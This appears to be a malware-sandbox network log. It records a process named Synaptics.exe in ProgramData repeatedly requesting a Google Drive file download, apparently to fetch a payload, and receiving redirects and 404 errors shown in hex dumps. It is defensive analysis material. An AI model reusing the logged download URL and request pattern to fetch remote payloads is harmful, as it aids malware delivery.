2024-07-25 19:55:04 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:04 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uiqfdYVcegZ_4zOkmI4Gxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNDyWLoP71-jdN80gIUj-JE7_0Ydq53lEcUqt_E4747_rUO41AEAxgPDCy9OEmFNPtBAU4WBi8AKA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:04 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:04 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 4d 46 74 69 50 49 51 48 64 4f 2d 35 6e 69 46 30 4c 58 63 73 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="jMFtiPIQHdO-5niF0LXcsw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:04 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49745	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:04 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:04 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:04 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VS2RUZQ0weDsp13GowkLSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nPBXBX5L0YdH4NMbiQxqlwDptR2rrznL6_In9I9Guokqim3Ori1r0rLtbuAfJf8LNUnE_o Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:04 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:04 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 47 50 6c 45 78 6c 50 42 37 45 4d 62 78 75 41 47 47 57 4c 55 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="RGPlExlPB7EMbxuAGGWLUA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:04 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49743	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:04 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-PioZnJT5sAZf1nyNs2dOOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49746	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:04 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-NBwGmeQjRDzvMP5JFWOxEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49750	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:05 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:05 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:05 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-1xjrZBiUro2j-G6g9Kk01A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNiXiCFnF2Gyw70tU49fBT_vz49dp2vmAGsVBT0GLlvs-OMqmRmvAQf3-T4l8cj4M_-AIw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:05 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:05 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 4c 47 69 70 47 68 53 75 69 61 59 71 2d 58 5a 63 76 50 73 37 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="_LGipGhSuiaYq-XZcvPs7g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:05 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49749	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:05 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-s5mg0vofZTZDqoMc6kA_AQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49748	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:05 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-25 19:55:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-u1VRq6kNNOGChgqbj7aOhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49753	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:05 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:05 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:05 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_A-WLh9ID-FaFZqshcf2Jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNnZy6aT7Zt350kwOHg_oB-yI1f6nupDK7IqiNW7uuyCcvAoLBvVPCVtkY6dIbdADwnsb05F14OkQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:05 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:05 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 58 4b 4f 50 36 47 6d 55 49 73 76 54 62 4b 4f 79 68 30 57 6b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="qXKOP6GmUIsvTbKOyh0Wkg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:05 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49758	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:06 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49757	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:06 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49759	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:06 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
